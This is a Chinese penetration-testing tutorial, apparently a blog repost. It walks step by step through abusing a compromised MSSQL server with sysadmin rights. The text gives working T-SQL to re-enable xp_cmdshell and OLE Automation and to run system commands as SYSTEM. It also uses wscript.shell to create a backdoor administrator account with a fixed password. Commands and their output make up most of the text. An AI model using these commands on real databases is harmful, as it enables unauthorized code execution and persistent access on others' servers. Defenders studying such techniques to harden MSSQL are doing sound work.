• 详述MSSQL服务在渗透测试中的利用(上篇)


    前言:

    致力于复现最实用的漏洞利用过程。


    本文将带领大家学习以下内容:

    • 学习使用`xp_cmdshell`扩展存储过程
    • 学习调用`wscript.shell`
    • 学习MSSQL写文件
    • 学习沙盘模式提权
    • 学习注册表映像劫持提

      part1 使用`xp_cmdshell`扩展存储过程


      步骤1 连接MSSQL服务

      首先打开SQL查询分析器如下填写相关参数(此处数据库相关信息假设是我们通过前期渗透测试得到。

      相关参数填写完毕之后点击`确定`进入该服务器MSSQL查询分析页面。
      登入对方的MSSQL服务之后,我们看到SQL查询分析器的界面如下,请看图示,了解查询分析器的功能页:

       

      如果没有出现左侧的对象浏览器,请点击如上图示的右上角红框部分来开启对象浏览器。

      查询框用于输入将要执行查询的SQL语句。

      比如,我们在查询框输入一下语句来查看数据库信息和系统版本:
    select @@version


    MSSQL语句后面可以跟`;`结束查询或连接多句查询。后面跟`--`可以达到注释以后多余的语句的目的。

    默认情况下我们查看到的结果并不完整,是表格查看方式,为了更明显的查看到SQL查询返回,我们点击工具栏的`查询`->`文本显示结果`,然后再执行SQL语句:



    此时可以看到完整的查询结果为:

    Microsoft SQL Server 2005 - 9.00.1399.06 (Intel X86) 
            Oct 14 2005 00:33:37 
            Copyright (c) 1988-2005 Microsoft Corporation
            Enterprise Edition on Windows NT 5.2 (Build 3790: Service Pack 2)
            
    (所影响的行数为 1 行)


    MSSQL版本:`Microsoft SQL Server 2005`

    服务器版本:`Windows NT 5.2(windows2003)`


    步骤2 验证权限并尝试执行

    我们使用一下SQL语句来检测对方的MSSQL服务是否为`SA`权限(`sa`权限的MSSQL用户一般来说对应的是系统的`system`权限):

    select IS_SRVROLEMEMBER('sysadmin')


    如果查询结果返回`1`则说明是`SA`权限,很幸运,我们的目标机的`MSSQL`账户对应的是`SA`
    权限。

    使用以下SQL语句判断目标机的MSSQL服务是否存在`xp_cmdshell`扩展存储过程:

    select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell';


    只要返回结果不是`0`就说明存在`xp_cmdshell`扩展存储过程,启用没启用我们稍后再作判断:

     

    如上,查询返回`1`,即是存在`xp_cmdshell`扩展存储过程,那么我们尝试执行以下SQL语句使用`xp_cmdshell`扩展存储过程来执行系统命令`whoami`(查看当前系统权限):

    Exec master..xp_cmdshell 'whoami';


     

    命令并没有执行成功,得到了如下错误信息。

    Error Message:SQL Server 阻止了对组件 'xp_cmdshell' 的 过程'sys.xp_cmdshell' 的访问,因为此组件已作为此服务器安全配置的一部分而被关闭。系统管理员可以通过使用 sp_configure 启用 'xp_cmdshell'。有关启用 'xp_cmdshell' 的详细信息,请参阅 SQL Server 联机丛书中的 "外围应用配置器"。



    步骤3 修复扩展存储过程

    幸运的是我们从报错信息可以得出,`xp_cmdshell`扩展存储过程没被删除,只是禁止访问。于是我们就可以通过SQL语句启用它。
    (如果不支持多句执行的话,请单独执行以分号分割的每句):

    EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;


     

    以上SQL语句的执行返回如下:

    配置选项 'show advanced options' 已从 0 更改为 1。请运行 RECONFIGURE 语句进行安装。
    配置选项 'xp_cmdshell' 已从 0 更改为 1。请运行 RECONFIGURE 语句进行安装。


    SQL查询返回如上则说明`xp_cmdshell`扩展存储过程启用成功。

    启用之后我们再使用以下SQL语句使用`xp_cmdshell`扩展存储过程执行系统命令:

    Exec master..xp_cmdshell 'whoami';


     

    语句执行回显如下:

    output                                                                                                                                                                                                                                                          
    ---------
    nt authoritysystem
    NULL

    (所影响的行数为 2 行)


    如上,我们成功取得回显,得知当前用户权限是`SYSTEM`.

    当然也可以进行windows的账户操作:

    Exec master..xp_cmdshell 'net user';


    > `net user`命令查看系统当前用户情况 

    步骤4 后续处理

    如果`xp_cmdshell`扩展存储过程被删除,可以使用以下语句重新添加:

    EXEC sp_addextendedproc xp_cmdshell,@dllname ='xplog70.dll'declare @o int;

    sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll';



    使用以下语句来卸载存储过程`xp_cmdshell`:

    EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 0;RECONFIGURE;


    得到如下返回:

    配置选项 'show advanced options' 已从 1 更改为 1。请运行 RECONFIGURE 语句进行安装。
    配置选项 'xp_cmdshell' 已从 1 更改为 0。请运行 RECONFIGURE 语句进行安装。



    禁用之后我们再尝试使用`xp_cmdshell`扩展存储过程执行命令将不会成功:

    Exec master..xp_cmdshell 'whoami';


     

    若果想彻底删除`xp_cmdshell`扩展存储过程,建议在C盘里直接搜索`xplog70.dll` ,然后删除之。


    part2 调用`wscript.shell`




    步骤1 恢复`sys.sp_OACreate`


    当`xp_cmdshell`扩展存储过程被删除或者无法使用的情况,我们不妨试试利用`SP_OACreate`和`SP_OAMETHOD`调用系统`wscript.shell`执行系统命令。

    Declare @runshell INT;Exec SP_OACreate 'wscript.shell',@runshell out;Exec SP_OAMeTHOD @runshell,'run',null,'net user admin 123456 /add';


    如下可见,默认是不行的,有如下报错信息:

    SQL Server 阻止了对组件"Ole Automation Procedures"的 过程"sys.sp_OACreate"的访问,因为此组件已作为此服务器安全配置的一部分而被关闭


    使用 `Ole Automation Procedures` 选项可指定是否可以在 `Transact-SQL` 批处理中实例化 `OLE Automation` 对象。 还可以使用基于策略的管理或者 `sp_configure` 存储过程来配置这一选项。 有关详细信息,请参阅外围应用配置器。
    可以将 `Ole Automation Procedures` 选项设置为以下值:

    >`0`:禁用 OLE Automation Procedures。 SQL Server 新实例的默认值。
    >`1`:启用 OLE Automation Procedures。


    当启用 `OLE Automation Procedures `时,对 `sp_OACreate`的调用将会启动 `OLE` 共享执行环境。
    可以使用 `sp_configure` 系统存储过程来查看和更改 `Ole Automation Procedures` 选项的当前值。

    执行以下SQL语句查看 `OLE Automation Procedures` 的当前设置:

    EXEC sp_configure 'Ole Automation Procedures';



    默认情况下返回以下信息

    minimum  maximum  config_value run_value
    ------- --------- ------------ ---------
       0        1          0           0



    如上,`config_value` 和`run_value`的值都为0,表示禁用。

    执行以下SQL语句启用 `OLE Automation Procedures`:

    exec sp_configure 'show advanced options', 1;  RECONFIGURE;  exec sp_configure 'Ole Automation Procedures', 1;  RECONFIGURE;


     

    配置选项 'show advanced options' 已从 0 更改为 1。请运行 RECONFIGURE 语句进行安装。
    配置选项 'Ole Automation Procedures' 已从 0 更改为 1。请运行 RECONFIGURE 语句进行安装。



    步骤2 利用`sys.sp_OACreate`

    再试试利用`SP_OACreate`和`SP_OAMETHOD`调用系统`wscript.shell`执行系统命令。

    Declare @runshell INT;Exec SP_OACreate 'wscript.shell',@runshell out;Exec SP_OAMeTHOD @runshell,'run',null,'net user admin 123456 /add';



    如下图可见,没有报错,成功执行了查询,但是没有看到CMD命令的回显:

     

    那么我们可以尝试使用`xp_cmdshell`来验证账户是否添加成功:

    如果`xp_cmdshell`拓展存储过程不存在,先使用以下语句恢复:

    EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;



    然后执行以下语句验证是否通过利用`SP_OACreate`和`SP_OAMETHOD`调用系统`wscript.shell`执行了添加admin账户的系统命令:

    Exec master..xp_cmdshell 'net user admin';



     

    如上图,存在admin账户,利用成功。

  • 相关阅读:
    制作计算器的代码(C#)
    Oracle如何实现创建数据库、备份数据库及数据导出导入操作
    XmlDocument类
    Android强大的开源库与系统架构工具
    IO
    胎压监测设备
    福施福、爱乐维、玛特纳各成分比较(已换算成同一单位)
    用车不容忽视的细节
    汽车必备车饰和常用物品
    j2ee指导型框架或示例
  • 原文地址:https://www.cnblogs.com/ichunqiu/p/7249474.html
Copyright © 2020-2023  润新知